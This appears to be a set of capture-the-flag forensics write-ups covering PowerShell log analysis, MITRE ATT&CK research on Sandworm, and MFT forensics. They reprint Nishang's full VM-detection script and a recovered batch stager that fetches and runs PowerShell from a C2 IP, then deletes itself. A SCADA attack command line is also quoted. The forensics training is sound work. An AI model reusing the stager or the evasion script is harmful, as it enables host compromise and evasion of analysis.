To find this, we must use the Windows-Powershell-Operation.evtx log. According to Windows Forensic Handbook, the Event ID 4104 (Script Block Logging) is logged whenever a script is run through PowerShell. Based on this, I applied the filter event_id:4104, which returned 385 events:

385 events is a lot to work through.. However, we know that the events related to the model, manufacturer and temperature were run on 04/09/2025 around 09:19–09:20. Based on this, I applied 04/09/2025 09:00:00.00 — 04/09/2025 :10:00:00.000 as a filter. This reduced the number of events to 26:

I started by working through the earliest events first. The event at 09:20:53.099 contained the following in the ScriptBlockText field:

function Check-VM { <# .SYNOPSIS Nishang script which detects whether it is in a known virtual machine. .DESCRIPTION This script uses known parameters or 'fingerprints' of Hyper-V, VMWare, Virtual PC, Virtual Box, Xen and QEMU for detecting the environment. .EXAMPLE PS > Check-VM .LINK http://www.labofapenetrationtester.com/2013/01/quick-post-check-if-your-payload-is.html https://github.com/samratashok/nishang .NOTES The script draws heavily from checkvm.rb post module from msf. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/checkvm.rb #> [CmdletBinding()] Param() $ErrorActionPreference = "SilentlyContinue" #Hyper-V $hyperv = Get-ChildItem HKLM:\SOFTWARE\Microsoft if (($hyperv -match "Hyper-V") -or ($hyperv -match "VirtualMachine")) { $hypervm = $true } if (!$hypervm) { $hyperv = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($hyperv -match "vrtual") { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($hyperv -match "vrtual") { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($hyperv -match "vrtual") { $hypervm = $true } } if (!$hypervm) { $hyperv = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($hyperv -match "vmicheartbeat") -or ($hyperv -match "vmicvss") -or ($hyperv -match "vmicshutdown") -or ($hyperv -match "vmiexchange")) { $hypervm = $true } } if ($hypervm) { "This is a Hyper-V machine." } #VMWARE $vmware = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vmware -match "vmdebug") -or ($vmware -match "vmmouse") -or ($vmware -match "VMTools") -or ($vmware -match "VMMEMCTL")) { $vmwarevm = $true } if (!$vmwarevm) { $vmware = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System\BIOS -Name SystemManufacturer if ($vmware -match "vmware") { $vmwarevm = $true } } if (!$vmwarevm) { $vmware = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vmware -match "vmware") { $vmwarevm = $true } } if (!$vmwarevm) { $vmware = Get-Process if (($vmware -eq "vmwareuser.exe") -or ($vmware -match "vmwaretray.exe")) { $vmwarevm = $true } } if ($vmwarevm) { "This is a VMWare machine." } #Virtual PC $vpc = Get-Process if (($vpc -eq "vmusrvc.exe") -or ($vpc -match "vmsrvc.exe")) { $vpcvm = $true } if (!$vpcvm) { $vpc = Get-Process if (($vpc -eq "vmwareuser.exe") -or ($vpc -match "vmwaretray.exe")) { $vpcvm = $true } } if (!$vpcvm) { $vpc = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vpc -match "vpc-s3") -or ($vpc -match "vpcuhub") -or ($vpc -match "msvmmouf")) { $vpcvm = $true } } if ($vpcvm) { "This is a Virtual PC." } #Virtual Box $vb = Get-Process if (($vb -eq "vboxservice.exe") -or ($vb -match "vboxtray.exe")) { $vbvm = $true } if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($vb -match "vbox_") { $vbvm = $true } } if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($vb -match "vbox_") { $vbvm = $true } } if (!$vbvm) { $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vb -match "vbox") { $vbvm = $true } } if (!$vbvm) { $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($vb -match "vbox") { $vbvm = $true } } if (!$vbvm) { $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vb -match "VBoxMouse") -or ($vb -match "VBoxGuest") -or ($vb -match "VBoxService") -or ($vb -match "VBoxSF")) { $vbvm = $true } } if ($vbvm) { "This is a Virtual Box." } #Xen $xen = Get-Process if ($xen -eq "xenservice.exe") { $xenvm = $true } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($xen -match "xen") { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\DSDT if ($xen -match "xen") { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($xen -match "xen") { $xenvm = $true } } if (!$xenvm) { $xen = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($xen -match "xenevtchn") -or ($xen -match "xennet") -or ($xen -match "xennet6") -or ($xen -match "xensvc") -or ($xen -match "xenvdb")) { $xenvm = $true } } if ($xenvm) { "This is a Xen Machine." } #QEMU $qemu = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($qemu -match "qemu") { $qemuvm = $true } if (!$qemuvm) { $qemu = Get-ItemProperty hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0 -Name ProcessorNameString if ($qemu -match "qemu") { $qemuvm = $true } } if ($qemuvm) { "This is a Qemu machine." } }

Above we see a function called Check-VM. According to its description, it’s a script that detects whether it is in a known virtual machine. This includes Hyper-V, VMWare, Virtual PC, VirtualBox, Xen and QEMU. If a virtual machine is detected, the script returns “This is a <vm-type> machine”.

Answer: Check-VM

Task 4

“Which registry key did the above script query to retrieve service details for virtualization detection?”

To answer this, we must take a look at the script we found in the previous task. Below I have printed all the different registry keys mentioned in the script.

HKLM:\SOFTWARE\Microsoft
hklm:\HARDWARE\DESCRIPTION\System
HKLM:\HARDWARE\ACPI\FADT
HKLM:\HARDWARE\ACPI\RSDT
HKLM:\SYSTEM\ControlSet001\Services 
hklm:\HARDWARE\DESCRIPTION\System\BIOS
hklm:\hardware\devicemap\scsi 
HKLM:\HARDWARE\ACPI\DSDT
hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0

The registry key HKLM:\SYSTEM\CurrentControlSet\Services stores information regarding installed services. Moreover, the the Select key provides the number of the system’s CurrentControlSet, and ControlSet001 is the most recent control set that has been booted under. You can read more about this here and here.

In other words, the script queried HKLM:\SYSTEM\ControlSet001\Services to retrieve the service details.

Answer: HKLM:\SYSTEM\ControlSet001\Services

Task 5

“The VM detection script can also identify VirtualBox. Which processes is it comparing to determine if the system is running VirtualBox?”

Below is the part of the script that identifies VirtualBox:

#Virtual Box $vb = Get-Process if (($vb -eq "vboxservice.exe") -or ($vb -match "vboxtray.exe")) { $vbvm = $true }
if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT if ($vb -match "vbox_") { $vbvm = $true } } 
if (!$vbvm) { $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT if ($vb -match "vbox_") { $vbvm = $true } } 
if (!$vbvm) { $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier if ($vb -match "vbox") { $vbvm = $true } } 
if (!$vbvm) { $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion if ($vb -match "vbox") { $vbvm = $true } } 
if (!$vbvm) { $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services if (($vb -match "VBoxMouse") -or ($vb -match "VBoxGuest") -or ($vb -match "VBoxService") -or ($vb -match "VBoxSF")) { $vbvm = $true } } 
if ($vbvm) { "This is a Virtual Box." }

The script consists of six steps. If any of these checks passes, $vbvm is set to $true and the script returns "This is a Virtual Box.”.

The first step is to check for two different running processes: vboxservice.exe and vboxtray.exe. The next five steps consists of checking different registry keys.

Answer: vboxservice.exe, vboxtray.exe

Task 6

“The VM detection script prints any detection with the prefix ‘This is a’. Which two virtualization platforms did the script detect?”

Since the script prints any detection with the prefix ‘This is a ‘, we can simply add the filter "This is a " to EVTX Viewer. Make sure to still use the Windows-Powershell-Operational.evtx log file. This results in two hits, one of which is the script itself:

In the Payload-field of the event with Event ID 4103, we see the following:

In other words, the output of the function was "This is a Hyper-V machine.” and "This is a VMWare machine." .

Answer: Hyper-V, VMWare

Task description

Being in the ICS Industry, your security team always needs to be up to date and should be aware of the threats targeting organizations in your industry. You just started as a Threat intelligence intern, with a bit of SOC experience. Your manager has given you a task to test your skills in research and how well can you utilize Mitre Att&ck to your advantage.

Do your research on Sandworm Team, also known as BlackEnergy Group and APT44. Utilize Mitre ATT&CK to understand how to map adversary behavior and tactics in actionable form.

Smash the assessment and impress your manager as Threat intelligence is your passion.

Task 1

According to the sources cited by Mitre, in what year did the Sandworm Team begin operations?

I started by visiting MITRE ATT&CK and searching for “Sandworm Team”. The first paragraph on the group’s page attributes the group til Russia’s GRU military unit 74455 and states that “this group has been active since at least 2009”:

Sandworm Team is a destructive threat group that has been attributed to Russia’s General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.[1][2] This group has been active since at least 2009.[3][4][5][6]

MITRE cites four sources for this statement: FireEye, CrowdStrike, the U.S. Department of State and the National Cyber Security Centre (NCSC). However, none of these sources explicitly mentions the year 2009. I also checked Mandiant’s 2024 article about the group, which didn’t mention it either.

Nevertheless, 2009 is the year given by MITRE.

Answer: 2009

Task 2

Mitre notes two credential access techniques used by the BlackEnergy group to access several hosts in the compromised network during a 2016 campaign against the Ukrainian electric power grid. One is LSASS Memory access (T1003.001). What is the Attack ID for the other?

I searched for “BlackEnergy” on MITRE ATT&CK, which led back to the page about Sandworm Team. BlackEnergy (Group) appears under Associated Groups, where MITRE lists names that may refer to the same or similar groups.

To answer the question, I scrolled down to Campaigns and opened “2016 Ukraine Electric Power Attack”. I then scrolled down to Techniques Used and clicked on Navigator Layers -> Enterprise Layer -> view.

After scrolling to the Credential Access column, I found two highlighted techniques:

• OS Credential Dumping: LSASS Memory
• Brute Force

I then hovered over “Brute Force” to see the ATT&CK ID.

Answer: T1110

Task 3

During the 2016 campaign, the adversary was observed using a VBS script during their operations. What is the name of the VBS file?

I went back to the 2016 campaign page and used CTRL + F to search for VBS. Under T0867 — Lateral Tool Transfer, I found a description of a VBS script used to copy ICS-specific payloads.

The description identified the file name as ufn.vbs.

Answer: ufn.vbs

Task 4

The APT conducted a major campaign in 2022. The server application was abused to maintain persistence. What is the Mitre Att&ck ID for the persistence technique was used by the group to allow them remote access?

I returned to the Sandworm Team page and opened 2022 Ukraine Electric Power Attack, the only campaign listed for 2022. I started by searching for terms such as “remote access”, “remote” and “access” — without any luck.

Since the question specifically mentions a server application, I searched for “server”. This led me to Server Software Component: Web Shell, with the description saying that Sandworm Team deployed the Neo-REGEORG web shell on an internet-facing server.

This matches the question’s description of abusing a server application to maintain persistence.

Answer: T1505.003

Task 5

What is the name of the malware / tool used in question 4?

I already identified the tool in the previous task.

Answer: Neo-REGEORG

Task 6

Which SCADA application binary was abused by the group to achieve code execution on SCADA Systems in the same campaign in 2022?

I stayed on the 2022 campaign page and searched for “SCADA”. Among the matches, T0807 — Command-Line Interface explained that Sandworm used SCIL-API on the MicroSCADA platform to execute command through the scilc.exe binary.

Answer: scilc.exe

Task 7

Identify the full command line associated with the execution of the tool from question 6 to perform actions against substations in the SCADA environment.

I continued through the SCADA search results from the previous question. T0894 — System Binary Proxy Execution contains the following description:

During the 2022 Ukraine Electric Power Attack, Sandworm Team executed a MicroSCADA application binary scilc.exe to send a predefined list of SCADA instructions specified in a file defined by the adversary, s1.txt. The executed command C:\sc\prog\exec\scilc.exe -do pack\scil\s1.txt leverages the SCADA software to send unauthorized command messages to remote substations.[1]

Answer: C:\sc\prog\exec\scilc.exe -do pack\scil\s1.txt

Task 8

What malware/tool was used to carry out data destruction in a compromised environment during the same campaign?

I remained on the campaign page and searched for “destruction”. This led me to T1485 — Data Destruction. The description of the technique identifies CaddyWiper as the malware used to wipe files related to OT capabilities, along with mapped drives, and physical drive partitions.

Answer: CaddyWiper

Task 9

The malware/tool identified in question 8 also had additional capabilities. What is the Mitre Att&ck ID of the specific technique it could perform in Execution tactic?

I opened the software page for CaddyWiper to see the techniques used by the malware. Of the 7 listed techniques, T1106 — Native API looked like the best match.

To verify that this techniques belongs to the Execution tactic, I opened Tactics -> Enterprise -> Execution and searched for T1106. Luckily, the technique was is the list, confirming that it was an Execution technique.

Answer: T1106

Task 10

The Sandworm Team is known to use different tools in their campaigns. They are associated with an auto-spreading malware that acted as a ransomware while having worm-like features. What is the name of this malware?

I returned to the Sandworm Team page and searched for “Data Encrypted for Impact”, since the question says that the malware acted as a ransomware. In the software list, I found three candidates:

• Bad Rabbit
• KillDisk
• NotPetya

Luckily, the NotPetya page described two key things: “it appears as a form of ransomware” and “contains worm-like features”. You can read the full description below.

While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.[1][2][3][4]

Answer: NotPetya

Task 11

What was the Microsoft security bulletin ID for the vulnerability that the malware from question 10 used to spread around the world?

I used the description on NotPetya’s page as my starting point. It says that the malware used the SMBv1 exploits EternalBlue and EternalRomance. To find the security bulletin ID, I Google’d “eternalblue microsoft bulletin”:

Answer: MS17-010

Task 12

What is the name of the malware/tool used by the group to target modems?

I retured to the Sandworm Team page and searched for “modem”. The only match was in the References list: “AcidRain | A Modem Wiper Rains Down on Europe”.

The article describes an attack in 2022 where Viasat KA-SAT modems in Ukraine were attacked.

Answer: AcidRain

Task 13

Threat Actors also use non-standard ports across their infrastructure for Operational-Security purposes. On which port did the Sandworm team reportedly establish their SSH server for listening?

I searched for “SSH” on the Sandworm Team page and combed through the results, looking for a mention of a port number. There was only one match mentioning a port number:

Answer: 6789

Task 14

The Sandworm Team has been assisted by another APT group on various operations. Which specific group is known to have collaborated with them?

To answer this, I scrolled up to the description of the Sandworm Team. The final paragraph mentions that some of the operations were conducted with assistance from GRU Unit 26165, also referred to as APT28.

Answer: APT28

Task description

In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.

Getting started

Let’s start by getting a basic overview of the MFT. The MFT, or Master File Table, contains at least one entry for every file on an NTFS (New Technology File System) volume. Information about a file, including its size, timestamps, permissions and contents, is stored either in MFT entries or elsewhere on the disk, with the MFT entries describing where it is stored.

Note that this Sherlock is more challenging to solve on Linux. For MFTECmd you can follow this guide by SANS. Timeline Explorer worked through Wine for me, but not perfectly.

I started by downloading the ZIP archive and extracting it with 7z. This gave me the $MFT file. I then ran the following command and opened the resulting CSV file in Timeline Explorer:

$ mftecmd -f \$MFT --csv . --csvf MFT_ANALYSIS.csv

Task 1

Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?

I started by sorting the Created0x10 column to show the oldest results first. There were one file with a Created0x10 timestamp of 1980–01–01 08:00:00, which caught my attention. In the Created0x30 column I could see the timestamp 2024–02–13 16:35:15 for the same file.

Looking at the File Name column, I saw the filename invoice.zip. However, the Parent Path shows that this file belongs to a subfolder within the Downloads folder. In other words, Stage-20240213T093324Z-001.zip was likely the arcive originally downloaded.

Let’s therefore search for Stage-20240213T093324Z-001, which gives us 13 results. If we now sort Created0x10 from oldest to newest, we can see an entry for Stage-20240213T093324Z-001.zip with timestamps on February 13, 2024 16:34:00.

Answer: Stage-20240213T093324Z-001.zip

Task 2

Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?

Keep the same sorting and search term, and scroll horizontally along the row for Stage-20240213T093324Z-001.zip:Zone.Identifier until you reach the Zone Id Contents column.

Here we can see that HostUrl is set to the following URL, which is where the file was downloaded from.

Answer: https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser

Task 3

What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?

We can keep the search string for Stage-20240213T093324Z-001 from earlier so that we can see all relevant files. Among the files, invoice.bat is of interest. A .bat file, or batch file, is a text file containing a sequence of commands executed by cmd.exe, and attackers can abuse these files to run malicious commands.

Of course, the extension itself does not confirm anything. However, we will examine the contents of the file in Task 6.

Answer: C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat

Task 4

Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?

The Created0x30 column shows 2024–02–13 16:38:39, which answers the question. However, Created0x10 shows 2024–02–13 17:23:16. So what is the difference?

This is how I understand it: NTFS stores timestamps in two attributes, $STANDARD_INFORMATION (0x10) and $FILE_NAME (0x30). Of these, 0x10 is more easily manipulated than 0x30. In other words, a difference between 0x10 and 0x30 is something to investigate as it can indicate timestomping.

Answer: 2024-02-13 16:38:39

Task 5

Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.

Our answer to Task 3 was invoice.bat, so we need to find the hexadecimal offset for this file’s MFT record.

We can calculate this using the Entry Number column. The entry number for our file is 23436. We then multiply this by 1024, which is the size of each MFT record in bytes:

23436 × 1024 = 23,998,464

Next, we convert this number from decimal to hexadecimal:

Answer: 16E3000

Task 6

Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.

For this, I used GHex. First, I opened the $MFT file in GHex and pressed CTRL + J. I entered 0x16E3000 to jump to the offset of the file record.

Scrolling down a little, we can see the text contents of invoice.bat:

I also extracted the MFT record with the following command:

dd if=\$MFT bs=1024 skip=23436 count=1 of=invoice.bin

The code was:

@echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF
W9uIGV0dw==') -UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"

Here we clearly see the C2 server’s IP address (43.204.110.203) and port number (6666).

Answer: 43.204.110.203.6666